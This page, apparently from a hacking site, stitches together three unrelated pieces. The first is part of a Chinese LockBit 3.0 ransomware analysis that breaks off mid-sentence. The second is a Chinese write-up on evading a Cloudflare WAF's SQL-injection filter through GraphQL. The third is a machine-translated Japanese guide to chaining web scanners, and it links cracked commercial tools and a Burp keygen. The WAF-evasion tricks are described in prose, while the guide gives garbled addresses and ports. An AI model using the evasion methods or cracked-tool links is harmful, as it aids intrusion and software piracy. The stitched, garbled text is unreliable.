LockBit 3.0通過哈希DLL的API名稱來執行API收集，然後將其與勒索軟件所需的API列表進行比較。這個程序與BlackMatter相同，因為重命名BlackMatter的API的外部可用腳本也適用於LockBit 3.0。

7.png

LockBit3.0的API收集程序

8.png

BlackMatter的API收集程序

9.png

LockBit3.0用於重命名API的XOR密鑰

10.png

BlackMatter用於重命名API的XOR密鑰

LockBit 3.0沒有直接調用收集到的API的地址，而是實現了一個蹦床指針，該指針指向一個已分配的堆，其中包含一個反彙編代碼，然後該代碼將跳轉到NtTerminateProcess API的API地址。堆中包含的代碼是從這組代碼中隨機選擇的：

隨機數ROR；

隨機數ROL；

異或密鑰；

通過隨機數ROR，然後異或到密鑰；

ROL隨機數，然後異或到密鑰；

11.png

LockBit3.0的蹦床指針代碼

12.png

LockBit3.0對NtTerminateProcessAPI的蹦床調用

LockBit3.0和BlackMatter也實現了相同的反調試技術：兩者都通過NtSetThreadInformationAPI將線程信息設置為ThreadHideFromDebugger(0x11)，以導致任何調試器在這個線程上設置斷點時崩潰。

13.png

通過NtSetThreatInformation的ThreadHideFromDebugger

與BlackMatter一樣，LockBit3.0在使用API時使用線程而不是直接調用API，這可能是為了讓研究人員更難分析。它使用的字符串使用簡單的按位XOR程序、按位XOR和NOT程序或涉及線性同餘生成器(LCG)算法以生成偽隨機密鑰的解密程序。除了添加了按位XOR和NOT程序，其他都類似於BlackMatter的操作方式。

14.png

LockBit3.0用於字符串解密的按位異或程序

15.png

LockBit3.0的按位XOR和NOT用於字符串解密

16.png

LockBit的3.0字符串解密使用LCG算法

LockBit3.0的配置使用相同的XOR程序和從LCG偽隨機數生成器獲得的密鑰進行解密，然後使用稱為APLib的壓縮庫進行解壓縮。

17.png

LockBit3.0的配置列表

LockBit3.0還會檢查受害計算機的UI語言，以避免用這些語言攻擊計算機：

阿拉伯語（敘利亞）；

亞美尼亞語（亞美尼亞）；

阿塞拜疆語（西里爾語阿塞拜疆）；

阿塞拜疆語（拉丁語阿塞拜疆）；

白俄羅斯語（白俄羅斯）；

格魯吉亞語（格魯吉亞）；

哈薩克語（哈薩克斯坦）；

吉爾吉斯（吉爾吉斯斯坦）；

羅馬尼亞語（摩爾多瓦）；

俄語（摩爾多瓦）；

俄語（俄羅斯）；

塔吉克語（西里爾塔吉克斯坦）；

土庫曼（土庫曼斯坦）；

韃靼語（俄羅斯）；

烏克蘭語（烏克蘭）；

烏茲別克語（西里爾文烏茲別克斯坦）；

烏茲別克語（拉丁烏茲別克斯坦）；

LockBit3.0還保留了這些BlackMatter程序，以用於提權升級：

使用UACMe的方法繞過用戶帳戶控制(UAC)，這是在dllhost.exe下使用ICMLuaUtil COM接口；

複製Explorer.exe令牌以供自己使用；

執行32位或64位shellcode注入以提升其令牌。

LockBit3.0和BlackMatter都用作加密文件擴展名、勒索信名稱以及壁紙和圖標名稱的字符串是Base64編碼的哈希。然而，這兩種勒索軟件之間的一個關關鍵區別在於，LockBit3.0選擇使用嵌入在其配置中的RSA公鑰，並使用MD5對其進行哈希處理，而BlackMatter使用具有相同算法對API進行哈希處理的MachineGUID。這使得被同一樣本感染的所有計算機的字符串看起來都相似，這可能是LockBit的操作人員的一種嘗試，以便他們更容易識別加密文件所需的RSA私鑰對。

18.png

BlackMatter（左）和LockBit3.0（右）的字符串生成

與BlackMatter一樣，LockBit3.0也執行以下程序：

嘗試使用其配置列表中的憑據登錄，以確定受感染的系統是否是將用於以後程序的域管理員的一部分；

一個類似於BlackMatter的程序會終止並從其配置列表中刪除進程和服務；

擦除每個驅動器的回收站文件夾；

檢查計算機名哈希列表，以避免從其配置列表中刪除；

如果設置了標誌，則從其配置列表連接到CC服務器；

如果在其配置標誌中設置，則加密網絡共享和Exchange郵箱；

從其配置列表中獲取要避免使用的文件、文件夾和擴展名列表；

加密.lnk文件時使用指向文件；

在任何可用的打印機上打印勒索信並修改桌面壁紙；

使用與BlackMatter相同的加密算法；

LockBit3.0對卷影副本的刪除顯然是從BlackMatter的代碼中刪除的，因為這是使用WindowsManagementInstrumentation(WMI)通過COM對象執行的，而不是LockBit2.0使用vssadmin.exe。

19.png

LockBit3.0通過WMI刪除卷影副本

這個最新的LockBit迭代只在提供特定參數時才會執行一些程序。 LockBit 3.0只接受表2中列出的參數，而BlackMatter只接受-safe、-wall和-path參數。

20.png

LockBit3.0接受的參數列表

新的LockBit變體使用哈希和基於代碼檢查參數，它被設計為只執行一個來自參數的例程，除了-pass，它需要在檢查其他參數之前執行。如果提供了-wall參數，則打印勒索信和更改受害計算機牆紙的程序也類似於BlackMatter的程序。像BlackMatter一樣，只要提供了-safe參數，LockBit3.0也可以在安全模式下重新啟動並通過RunOnce註冊表執行。

然而，它們的配置標誌之間有一個關鍵的區別：BlackMatter只有9個標誌，而LockBit3.0有24個，詳見表3。

21.1.png

21.2.png

21.3.png

21.4.png

可以在LockBit 3.0的配置中設置的標誌

第三個LockBit版本的一個值得注意的行為是它的文件刪除技術：它不使用cmd.exe執行將執行刪除的批處理文件或命令，而是刪除並執行從二進製文件中解密的.tmp文件。但是，只要提供了-gspd參數，它就會保留LockBit2.0的一些功能，例如早期版本通過組策略更新進行橫向移動的能力。

執行的.tmp文件會覆蓋勒索軟件二進製文件的內容，然後使用基於原始文件名長度的新文件名多次重命名該二進製文件，例如，一個名為1.exe的文件，它有五個字符（包括文件擴展名），被重命名為AAAAA，然後是BBBBB，直到ZZZZZ。重命名文件後，LockBit3.0最終將其刪除。該程序可能是LockBit勒索軟件組織試圖避免通過取證工具進行恢復，並通過完全刪除任何勒索軟件的痕跡來掩蓋他們的踪跡。

22.png

LockBit3.0多次重命名勒索軟件文件

23.png

LockBit3.0在反復重命名後刪除勒索軟件文件

VirusTotal上的LockBit3.0最近，一位研究人員在VirusTotal上發現了另一個LockBit 3.0示例，在撰寫本文時，在撰寫本文時檢測到了19個。這個特定的示例是一個包含兩層模糊代碼的PowerShell腳本。在對腳本進行去混淆之後，我們發現LockBit 3.0能夠通過反射加載將DLL注入內存，使用的代碼與BlackMatter自己的PowerShell代碼相同。

24.png

截至2022年7月21日在VirusTotal上發現的LockBit3.0樣本

25.png

LockBit3.0的第一層混淆代碼

26.png

LockBit3.0的第二層混淆代碼

27.png

LockBit3.0的反混淆PowerShell腳本

28.png

LockBit3.0的主要功能

29.png

BlackMatter的主要功能

此特定示例具有通過Base64壓縮和加密的有效負載。為了訪問它，我們修改了腳本以轉儲有效負載而不是執行它。通過轉儲有效載荷，我們能夠獲得LockBit3.0的主要二進製文件。

執行時，該腳本表現出與之前發現的LockBit3.0示例相同的行為。此特定示例將19MqZqZ0附加到加密文件的文件名。

30.png

LockBit3.0的有效載荷

31.png

轉儲LockBit3.0的有效負載

32.png

LockBit3.0的主要二進製文件

33.png

LockBit3.0的加密文件，其名稱後附有19MqZqZ0

這個特定的LockBit 3.0示例的有效負載只檢查3個哈希參數，而之前的LockBit3.0示例檢查了8個。它的DLL有效負載是反射式加載的，其通過管理共享和組策略傳播程序的代碼是為PE（便攜式可執行文件）二進製文件設計的，而不是為PowerShell腳本設計的，這可能解釋了為什麼某些程序不起作用。另一種可能性是，LockBit3.0的勒索軟件構建器可能會選擇禁用某些程序。即使檢查了-pass

HireHackking

有研究人員在安全測試時，繞過了Cloudflare WAF 的SQLi 過濾器，這意味著Cloudflare 安裝沒有正確配置，但Cloudflare目前還不認為這是個漏洞。雖如此，安全人員在為其應用程序部署安全保護時需要注意有關問題。對於試圖繞過WAF 的人來說，發現的些許漏洞也可能會派上用場。攻擊者可以利用一種或多種技術（具體取決於最終應用程序）繞過某些WAF 並通過濫用SQLi 漏洞竊取數據。

測試時使用的Web應用程序詳細信息測試時使用的Web 應用程序的目的對於實際測試來說並不重要。除了在服務器上公開的/graphql 端點和運行查詢的PostgreSQL 服務之外，寫入查詢的堆棧也並不重要。 GraphQL 是一種查詢語言，它處理查詢，在測試中，在後端運行適當的SQL 查詢並返回請求的數據。之前由於測試人員從未使用或閱讀過有關GraphQL 的信息，因此遵循的是官方教程https://graphql.org/learn/，如果感興趣你也可以了解一下。

查詢的形成類似於JSON 對象。應用程序向/graphql 端點發送POST 請求。請求正文包含GraphQL 查詢，如下所示：

1.png

X-MARK 中未過濾的參數從GraphQL 傳遞，並在PostgreSQL 存儲過程中被替換，從而允許我們注入在後端服務器上執行的SQL 查詢。

這幾乎是我們目前必須了解的關於應用程序的內容。在接下來的部分中，我將介紹我在測試SQL 注入應用程序時觀察的一些現象，這些觀察使我成功地利用了SQL注入，包括繞過Cloudflare SQLi過濾器。

觀察1第一個重要的觀察結果是服務器對有效的電子郵件輸入（即當SQL 查詢返回數據時）的響應與對無效的電子郵件輸入的響應不同。返回的HTTP 代碼始終為200，但響應正文不同：

這將返回“OK”：

2.png

這將返回'NOT OK'：

3.png

起初這可能看起來不太像，但它實際上是允許我驗證數據庫中特定數據是否存在的機制。它讓我想到了利用這種機制執行SQL盲注入攻擊並使用腳本自動化它的想法。該腳本構造一個有效負載，並將其與POST請求一起發送，POST請求反過來修改在後端服務器上運行的SQL查詢。

步驟如下：

我們有一組字符，稱為字母表。這組字符包括所有可能的字符，這些字符可以是我們試圖從數據庫中提取的數據的一部分。

假設資源是需要檢索的SQL 資源。它可以是數據庫名稱、用戶名、任何表格中的單元格值等。

將逐字符檢索資源。我們試圖檢索的字符稱為char。

我們遍歷字母表，並將每個字母與char 進行比較。

如果有匹配，我們記錄結果並移動到下一個字符。

最後，我們通過連接所有字符獲得了完整的資源。

觀察2第二個重要的觀察結果是，在執行的SQL查詢出現錯誤時，會顯示錯誤消息，這對我來說容易得多。這個錯誤信息不允許我執行一個基於錯誤的SQL注入，而是顯示了由PostgreSQL在SQL服務器上執行的完整SQL查詢。這一點為什麼如此重要，我們很快就會明白。

從錯誤消息中提取的SQL查詢看起來像這樣：

4.png

作為“email”變量提交的用戶輸入反映在X-MARK上。這就是為什麼擁有完整的SQL查詢對於開發過程很重要的兩個原因：

可以看到用戶輸入被括在括號中，這條信息使有效負載的生成過程變得更加容易，因為人們知道輸入必須包含與左括號匹配的右括號，以便結束SQL 查詢有效。

用戶輸入反映在查詢中的多個位置（第5、10、11 行），給我帶來麻煩的是第5 行。如果是X-MARK 僅反映在WHERE 子句中的情況，事情會更容易。但在這種情況下，我必須確保我的輸入不會弄亂表JOIN。這是必要的，以確保生成和查詢正確的表行，以便我可以獲得所需的數據。

注意：第8 行的$1 符號是SQL 準備查詢的位置參數，並由HTTP 請求的“名稱”變量參數替換。但它不容易受到SQL 注入的影響。

第一次嘗試我首先嘗試查找當前數據庫的名稱。在PostgreSQL 中執行此操作的SQL 查詢是：

5.png

有很多事情需要考慮，而且從一開始就很瘋狂，我必須從一開始就想出繞過Cloudflare 的方法。

WAF 繞過的第一種辦法首先，我必須首先將current_database() 的第一個字符與字符“a”進行比較。 PostgreSQL的方法是：

6.png

Cloudflare會阻塞'substr'函數，所以訣竅是要么使用'left'，要么使用'right'函數。我使用'right'函數，因為'left'給了我一些麻煩，當我試圖找出我已經找到所有的數據庫名稱的字符。新的查詢（將“a”與最後一個資源的字符進行比較，如下所示：

7.png

並且未被WAF 檢測到。

注意：函數right(current_database(), N) 返回數據庫名稱最右邊的N 個字符。因此，當找到最後一個字符時，例如X，下一次調用該函數應該是：

8.png

由於我們已經知道我們必須關閉查詢中的左括號（來自觀察2），POST 請求的正文如下所示（此處僅顯示'email'變量）：

9.png

但是，記住後端SQL 查詢如何包含JOIN 子句（來自觀察2），我還在查詢中添加了一些額外的內容，以確保SQL 連接在後台正確執行。 POST 請求的正文如下所示：

10.png

服務器上的後續SQL 查詢如下所示：

11.png

這很複雜，但想法是一樣的：如果“a”是數據庫名稱的最右邊的字符，我們將從服務器獲得一個“OK”響應。

無論如何，在向服務器提交這個請求後，我看到了Cloudflare WAF(配置錯誤)的可怕頁面，告訴我我的請求被阻止了。

第二次嘗試在我再次嘗試之前，我必須了解Cloudflare 對我的查詢有什麼幫助。

經過反複測試，我發現問題出在生成的服務器SQL 查詢中的FROM 子句中的空格。這導致我進入第二個WAF 繞過。

WAF 繞過的第二種辦法此處使用的第二種WAF 繞過技術消除了SQL 查詢中的空格，並將SQL FROM 子句的部分括在括號中。

12.png

變成了

13.png

因此POST 請求的結果正文變為：

14.png

在服務器上的後續SQL查詢是這樣的：

15.png

這樣，整個過程就可以實現自動化了，以找到數據庫名稱的整個值。相同的過程還檢索了用戶名（通過使用user 函數）和數據庫版本（通過使用version() 函數）。但是存儲在數據庫表中的數據呢？檢索這些數據的通用查詢，以及我在上一篇文章中使用的繞過方法的查詢都不起作用。兩者都被阻止：

16.png

為什麼我的查詢被阻止了？問題是緊跟在SELECT 子句之後的FROM 子句。以下查詢將很好地通過（錯誤配置的）Cloudflare WAF SQLi 過濾器：

17.png

一旦在查詢結束時引入WHERE 子句，WAF 就會啟動並阻止請求。我的最終目標是從任何表中檢索數據。是時候深入挖掘兔子洞了。

第三次嘗試我在這裡給出SQLi 的早期失敗嘗試，只是因為我希望這篇文章向人們展示在滲透測試期間思維過程是如何展開的。

在我嘗試使事情複雜化（即脫離所有JOIN 和FROM 子句）時，我使用了一個簡單的分號和註釋技巧(;--)。計劃是首先檢索數據庫名稱，然後在此基礎上檢索表中的數據：

18.png

服務器上生成的SQL 查詢如下：

19.png

無論如何，這當然行不通，原因有兩個：

第5行之後的所有內容都會因為註釋而被忽略，這不一定是限制性的，但我寧願在FROM 子句中執行我的SQLi。

我收到以下錯誤：“綁定消息提供1 個參數，但準備好的語句需要0”。這是因為name 變量被傳遞給準備好的語句，但第8 行被忽略了，因此新的準備好的語句不需要該變量。

第四次嘗試我在這裡給出了從表中檢索數據的另一個早期嘗試，它使我更接近我的目標。在此之前我所知道的是，以下負載將被WAF 阻止：

20.png

注意：我添加了LIMIT 和OFFSET 關鍵字，以便從table1 中僅檢索一行。 LIMIT 表示我們只想要檢索一行，OFFSET 表示在開始檢索數據之前我們想要跳過多少行。在這種情況下，OFFSET 0 表示數據庫應該跳過0 行並返回table1 中的第一行。這對於逐一檢索表的所有行很有用。

WAF 繞過的第三種辦法回顧從數據庫服務器產生的錯誤中檢索到的SQL 查詢，我注意到可能不需要使用FROM 子句。 table1 表在使用AS 關鍵字的查詢中別名為t1，並且可以基於t1 引用它的任何列。這樣就可以這樣查詢table1 的column1 列：

21.png

這可以很好地通過（錯誤配置的）Cloudflare WAF，因此POST 請求正文中的有效負載可以這樣轉換：

22.png

服務器上的後續SQL 查詢如下所示：

23.png

這可以正常工作，但限制是只能提取table1（或table2）中的數據，因為這些是服務器SQL 查詢中唯一的別名表，繼續進行最後的成功嘗試。

最後一次嘗試好吧，如果我想從數據庫中檢索任何我想要的數據，我不得不放棄WAF 繞過的第三種方法。此時，似乎沒有辦法避免使用FROM子句。而且，在不被Cloudflare的WAF檢測到的情況下，似乎也沒有辦法成功地將FROM子句隱藏到有效載荷中。似乎我正在尋找的答案不在SQL查詢中。我不得不後退一步。

進入GraphQL我們已經看到發送的請求的正文是一個GraphQL 查詢，然後它被翻譯成一個SQL 查詢。所以我的下一個嘗試是改變GraphQL 查詢並設法隱藏其中的FROM 子句，這將有望轉換為在服務器上工作的SQL查詢。

如上所述，GraphQL 查詢的結構類似於JSON 對象。 JSON 中的數據以名稱/值對存儲在字典中，它們都是字符串。 GraphQL 查詢需要字符串鍵，但允許使用任意參數。這些規則適用於GraphQL：

數據用逗號分隔；

花括號容納對象；

方括號包含數組；

因此一個GraphQL查詢參數可以看起來像以下任何一種方式：

24.png

這讓我想到：如果我將對象的值作為數組而不是字符串傳遞，後端服務器上的SQL 查詢會發生什麼。簡而言之，我想打破SQL 注入查詢並將FROM 子句移動到不同的對像以欺騙Cloudflare。

25.png

進入

26.png

該請求繞過了WAF，我從數據庫中得到了一個錯誤，報錯是一個格式不正確的SQL查詢，並向我顯示了完整的SQL查詢結果。在註入點的查詢是這樣的：

27.png

注意SELECT column1 後面的逗號(,) 嗎？那是我繞過SQLi 過濾的憑證。將GraphQL 查詢參數的值作為數組傳遞會在後端SQL 服務器中轉換為字符串。字符串只是由逗號和空格字符分隔的數組項的串聯！此時，SQL查詢是錯誤的，但我可以註釋掉逗號，並獲得一個有效的、繞過waff的請求，該請求從我選擇的任何數據庫表中檢索我想要的任何數據。

這是最終POST 請求的正文：

28.png

以及在SQL 服務器上生成的有效SQL 查詢：

29.png

成功！

為了簡化表檢索過程，我用Python編寫了一個腳本來自動化這個過程。腳本的偽代碼如下所示：

30.png

這就是我如何利用GraphQL 製作SQL 注入，繞過配置錯誤的Cloudflare WAF 實例，並能夠在後端檢索整個數據庫。正如我在開頭提到的，這種繞過技術的組合不適用於正確配置的Cloudflare WAF。

緩解措施緩解數據庫上SQL 注入的最安全方法是準備好的語句。

HireHackking

0x01使用

各ツールの導入後に、ツールのダウンロードアドレスとインストール方法が配置されます。必要に応じて、自分でダウンロードできます。

1.AWVSツール

awvsはじめに：

Acunetix Web脆弱性スキャナー（AWVS）は、Webアプリケーションのセキュリティのテストと管理に使用されるプラットフォームです。インターネットまたはローカルLANを脆弱性を自動的にスキャンし、脆弱性を報告できます。 HTTP/HTTPSルールがアクセスして続くWebサイトをスキャンできます。小規模および中規模および大規模企業向けの顧客、従業員、ベンダー、その他の担当者向けのイントラネット、外因性ネットワークおよびWebサイト。 AWSは、SQLインジェクション攻撃の脆弱性、XSSクロスサイトスクリプトの脆弱性などをチェックすることにより、Webアプリケーションのセキュリティをレビューできます。AWVS機能と機能：1）自動クライアントスクリプトアナライザー、AJAXおよびWeb2.0アプリケーションのセキュリティテストを可能に

2）業界で最も高度で詳細なSQLインジェクションとクロスサイトスクリプトテスト

3）HTPPエディターやHTTPファッツァなどの高度な浸透テストツール

4）Visual Macro Recorderは、Webフォームやパスワードで保護された領域を簡単にテストするのに役立ちます

5）Capthca、シングルスタート命令、2つの要因（2要素）検証メカニズムを含むサポートページ

6）Visa PCIコンプライアンスレポートを含む豊富なレポート機能

7）高速マルチスレッドスキャナーは、数千ページを簡単に取得できます

8）インテリジェントクローラーがWebサーバーのタイプとアプリケーション言語を検出する

9）Acunetixは、フラッシュコンテンツ、SOAP、AJAXなどのWebサイトを取得および分析します

10）ポートWebサーバーをスキャンし、サーバーで実行されているネットワークサービスでセキュリティチェックを実行します

11）Webサイトの脆弱性ファイルをエクスポートできます

AWVSツールインストールチュートリアルアドレス：https://Blog.csdn.net/shandongjiushen/article/details/128377981

AWVSツールクラックバージョンダウンロードアドレス（Baidu NetDisk）リンク：https://Pan.Baidu.com/s/1KayuhishGujozphx41CQSQ抽出コード：QBE0

2。 AppScanツール

appscanはじめに：

AppScanは、セキュリティの専門家とテスター向けに特別に設計された動的なアプリケーションセキュリティテストツールです。これは、ユーザーがより安全なソフトウェアを開発するのに役立ち、開発ライフサイクルの後期段階で高価な脆弱性を効果的に回避できます。ソフトウェアには強力なスキャンエンジンが組み込まれており、ターゲットアプリケーションやテストの脆弱性を自動的にクロールできます。テスト結果は優先的に提示され、オペレーターは問題をより速く分類し、最も重要な脆弱性を最初に発見することができます。同時に、AppScanはユーザーに明確で実行可能な修理の提案を自動的に提供するため、発見された各問題をより簡単に改善できます。さらに、このソフトウェアには、テストWebアプリケーション、Webサービス、およびモバイルバックエンドをサポートする包括的なセキュリティテストスイートがあり、運用ベースの独自のテクノロジーと数万個の組み込みスキャンを使用して継続的にチェックします。 AppScan機能の紹介：1）アクティブおよびパッシブスキャンAppScanは、アクティブおよびパッシブスキャンテクノロジーをサポートします。アクティブなスキャンモードでは、攻撃者の動作をシミュレートし、悪意のあるリクエストと攻撃ペイロードを送信して、クロスサイトスクリプティング（XSS）、SQLインジェクション、クロスサイトリクエスト偽造（CSRF）などの既知のWeb脆弱性を発見します。

2）サポートWebアプリケーションとモバイルアプリケーションスキャンAppScanは、Webアプリケーションスキャンとモバイルアプリケーションのセキュリティ評価の両方に適しています。 Webアプリケーションの場合、AppScanはXSS、SQLインジェクション、機密情報漏れなどの一般的なWeb脆弱性を自動的に発見および評価できます。モバイルアプリケーションの場合、AppScanはアプリケーションのバイナリコードを分析し、アプリケーションの脆弱性とセキュリティ問題を発見できます。

3）浸透テストサポートAppScanは、浸透テストサポートを提供します。つまり、脆弱性スキャンツールであるだけでなく、テスト用の実際の攻撃をシミュレートできます。浸透テストは、複雑な脆弱性とビジネスロジックの問題のために、検出が困難である脆弱性を発見し、より詳細なテスト機能を備えていることを発見するのに役立ちます。

AppScanツールのインストールチュートリアルアドレス：https://Blog.csdn.net/qq_39720249/article/details/121248901

AppScanツールクラックバージョンダウンロードアドレス（Baidu NetDisk）：https://pan.baidu.com/s/1unazbfwyvevzuqpc1eqaba抽出コード：ime6

3。 Yakitツール

yakitはじめに：

Yakは、ネットワークセキュリティの基礎能力の統合に専念する世界で最初の垂直開発言語であり、非常に強力なセキュリティ機能を提供します。 Yakは、ほとんどの「データ説明言語/コンテナ言語」のスーパーセットです。すべてのGO機能とライブラリエコシステム、VSCODEプラグインなどがあります。構文はカスタマイズ可能です。それは完全に国内で、チューリング複雑なスクリプト言語です。ポートスキャン、フィンガープリント認識、POCフレームワーク、シェル管理、MITMハイジャック、強力なプラグインシステムなど、機能を通じてさまざまな基礎となるセキュリティ機能を提供します。Yakitは、YAK言語に基づいて開発されたサイバーセキュリティの個別ツールであり、浸透テストのプロセス全体をカバーするネットワークセキュリティツールライブラリを作成することを目的としています。 YAKの使用形式のため、ユーザーはYAK言語を学習し、同時にセキュリティを特定して理解する必要があります。 Yak独自のセキュリティ機能を容易に受け入れ、すべての人が使用するために、Yak用のGRPCサーバーを作成し、クライアントを構築しました。Yakitは、インターフェイスGUIを介してYakを使用するためのしきい値を下げます。 Yakit関数の簡単な紹介（関数が多すぎます）：Yakitは、Yak言語セキュリティ機能のための高度に統合された出力プラットフォームです。 Yakitを使用して、できます：

1）Burpsuiteに似たMITMハイジャック操作テーブル

2）すべてのハイジャックされたリクエストの履歴を表示し、リクエストのパラメーターを分析する

3）世界初の視覚的なWebファザーツール：Web Fuzzer

4）Yak Cloud IDE：組み込みのスマートプロンプトを備えたYak言語クラウドIDE

5）Shellreceiver：TCPサーバーをオンにして、リバウンドインタラクティブシェルアンチ接続を受信します

6）サードパーティYakモジュールストア：コミュニティ主導のサードパーティYakモジュールプラグイン、あなたが望むすべてを持っています

7。

Yakitツールのインストールチュートリアルアドレス：https://Blog.csdn.net/m0_60045654/article/details/134645164

Yakitツールダウンロードアドレス：https://yaklang.com/

4。バープスイート

バープスイートの紹介：

Burp Suiteは、Webアプリケーションを攻撃するための統合プラットフォームです。 Burp Suiteは、Webアプリケーションを攻撃するための統合プラットフォームであり、多くのツールが含まれています。バープスイートは、これらのツールの多くのインターフェイスを設計して、アプリケーションを攻撃するプロセスを高速化します。すべてのツールはリクエストを共有し、対応するHTTPメッセージ、永続性、認証、プロキシ、ログ、およびアラートを処理できます。バープスイートツールの関数の紹介：1）ターゲット（ターゲット）——ターゲットディレクトリ構造の関数を表示します

2）プロキシ（プロキシ）—— HTTP/sプロキシサーバーをインターセプトし、ブラウザとターゲットアプリケーションの間の仲介者として機能し、両方向の元のデータフローを傍受、表示、変更できます。

3）Spider（Spider）——は、アプリケーションのコンテンツと機能を完全に列挙できるインテリジェントセンシングWeb Crawlerを使用します。

4）スキャナー（スキャナー）——高度なツールでは、実行後、Webアプリケーションのセキュリティの脆弱性を自動的に発見できます。

5）侵入者（侵入者）——カスタマイズされた高度に構成可能なツールは、列挙された識別子、有用なデータの収集、ファジングテクノロジーを使用して従来の脆弱性を検出するなどのWebアプリケーションを自動化します。

6）リピーター（リピーター）——手動操作に依存して個別のHTTP要求をトリガーし、アプリケーション応答を分析するツール。

7）シーケンサー（セッション）——は、予測不可能なアプリケーションセッショントークンと重要なデータ項目のランダム性を分析するために使用されるツールです。

8）デコーダー（デコーダー）——は、アプリケーションデータユーザーを手動で実行またはインテリジェントにデコードおよびエンコードするためのツールです。

9）比較（比較）——は、通常、いくつかの関連するリクエストと応答を通じて、2つのデータの視覚的な「違い」を取得します。

10）Extender（Extension）——を使用すると、Burp Suite Extensionsをロードし、独自のコードまたはサードパーティコードを使用してBurp Suiteの機能を拡張できます。

11）オプション（設定）——げっぷスイートのいくつかの設定

バープスイートツールのインストールチュートリアルアドレス：https://blog.csdn.net/m0_60045654/article/details/134645164

バープスイートツールJARクラックパッケージ：** https://link.zhihu.com/？ターゲット=https％3a //github.com/lzskyline/burploaderkeygen/raw/main/burploaderkeygen.jar

バープスイートツールダウンロードアドレス：https://Link.zhihu.com/?target=https%3a//portswigger.net/burp/releases/

5。 xray

Xrayツールの紹介：

Xrayは、変化する技術によって開始された強力なセキュリティ評価ツールです。これは、多くの経験豊富な最前線のセキュリティ実務家によって作成されています。アクティブおよびパッシブスキャン方法をサポートし、Windows、Linux、MacOSなどの複数のオペレーティングシステムをサポートし、ユーザー定義のPOCをサポートします。

ターゲットWebサイトの脆弱性をすばやく検出できます。従来のマニュアルの脆弱性スキャンと比較して、Xrayには次の利点があります。

1。高度な自動化、手動操作の時間とエネルギーを削減する。

2。複数の脆弱性タイプのスキャンをサポートします。

3。分散展開をサポートします。

4。Webインターフェイス管理をサポートします。

Xray関数の紹介：POCフレームワークには、デフォルトでGitHubにPOCが組み込まれているPOCが組み込まれており、ユーザーは必要に応じて自分で構築および実行することもできます。

現在サポートされている脆弱性検出タイプには: 1）XSS脆弱性検出（Key: XSS）

2）SQL注入検出（Key: SQLDET）

3）コマンド/コードインジェクション検出（key: cmd-injection）

4）ディレクトリの列挙（key:ディルカン）

5）パス交差検出（key:パストラバーサル）

6）XMLエンティティインジェクション検出（key: xxe）

7）ファイルアップロード検出（key:アップロード）

8）弱いパスワード検出（Key:ブルートフォース）

9）JSONP検出（key: jsonp）

10）SSRF検出（Key: SSRF）

11）ベースライン検査（Key:ベースライン）

12）任意のジャンプ検出（key:リダイレクト）

13）CRLF注入（Key: CRLF注入）

14）Struts2シリーズの脆弱性検出（Advanced Edition、Key: Struts）

15）ThinkPhpシリーズの脆弱性検出（Advancedバージョン、key: thinkphp）

16）XSTREAMシリーズの脆弱性検出（Key: XStream）

17）POCフレームワーク（key:パンタズム）

Xray Toolインストールチュートリアルアドレス：https://Blog.csdn.net/weixin_52244272/article/details/132278409

Xray11ツールクラックバージョンダウンロードアドレス：https://pan.baidu.com/s/1n5lqesvxpk_cgbs7jmfkda?pwd=amlj抽出コード：AMLJ

0x02ツールリンケージ

ターゲットWebサイトの脆弱性を自動的にスキャンするために、5つのツールをリンクします。

1。 AppScanツールリンケージの準備

をセットアップします

AppScanツールインターフェイスを開き、[新シュンWebサービス]を選択します。image.png

選択- AppScanを自動的に選択します（ここで選択されたポートとアドレスは、AWVSエージェントが耳を傾けるアドレスとポートです） - ローカル - 他の接続設定を構成する必要があります - 次のステップimage.png

選択- カスタムプロキシ設定を使用- アドレス：127.0.0.1-ポート：8083（ここに設定されたプロキシアドレスとポートセットはYakitのプロキシリスニングアドレスです） - ニキスト。image.png

設定する必要はありません。次に行くだけです。image.png

設定せずに、次のステップに移動して[完了]をクリックします。image.png image.png

外部のトラフィックレコーダーを入手し、ここを通過して表示するのを待ちます。image.png

2。 Yakitツールリンケージの準備

をセットアップします

Yakit Tool image.pngを起動します

一時的なプロジェクトimage.pngを開きます

侵入テストツールを選択します - MIMTインタラクティブハイジャックimage.png

ここで、Yakitにはデフォルトでダウンロードされた15のスキャンプラグインしかないことをここでお知らせします。より包括的なパッシブスキャンの脆弱性を持ちたい場合は、プラグインストアにアクセスして、必要なプラグインをダウンロードできます。ワンクリックですべてのプラグインをダウンロードできますが、スキャンは非常に遅くなります。必要なもののいくつかをダウンロードしてください。image.png

MIMTインタラクティブなハイジャックに戻り、ハイジャックエージェントのリスニングホストを設定します：127.0.0.1、リスニングポートをリスニングするハイジャックエージェント：8083、およびダウンストリームエージェントはhttp://127.0.0.0.13:8080（下流のアドレスはここに設定されています）。 [プラグインを有効にする]を選択し、左側にプラグインを設定してすべてを選択し、設定後に構成なしの起動を選択します（構成なしの起動を選択するのが最善です。image.png

後でスキャンされた脆弱性は、ここimage.pngに表示されます

3。 Buro Suite Toolのリンケージ準備

Burp Suiteツールを開き、[Temporary Project -Next]を選択します。image.png

Burp Suiteのデフォルト値-Nextを使用します。image.png

設定image.pngを選択します

プロキシを設定すると、バインディングプロキシポートは8080、バインディングアドレスは次のとおりです。Loopbackのみ（ここに設定されたプロキシリスニングアドレスとポートセットは、Yakitが設定した下流のプロキシアドレスです）。image.png

バープスイートの上流プロキシをセットアップすると、ターゲットホストは次のとおりです。 *（すべてのターゲットホストが許可されます）、プロキシホストは127.0.0.1、プロキシポートは7777です。

リアルタイムタスクimage.pngを追加しました

プロキシimage.pngを通過するすべてのトラフィックを受動的にスキャンする

組み込みのスキャン動作を編集します。image.png

スキャンタイプを設定し、すべてを選択し、火力をオンにし、[保存]をクリックします。image.png

[OK]をクリックして、パッシブスキャンを設定します。image.png image.png

4。 Xrayツールリンケージの準備

をセットアップします

Xrayを使用してポート127.0.0.0.1:77777（ここで聴くポートは、Burp Suiteが設定したアップストリームプロキシです）、脆弱性を受動的にスキャンし、脆弱性を123.HTMLにします。image.png

0x04リンケージスキャンのテストを開始

すべての準備が整っています。AWVSツールを最初のアクセススキャンターゲットトラフィックの開始点として使用します。

1。トラフィックを傍受

YakitとBurp Suiteのトラフィックを最初にハイジャックして、後でトラフィックの傾向を視聴します。

image.png

image.png

2。 AWVSスキャンターゲットを設定

AWVSスキャンターゲットを設定して、トラフィックにアクセスします。スキャンターゲット（このターゲットは承認されています）を追加し、[保存]をクリックします。

HireHackking

1.jpg

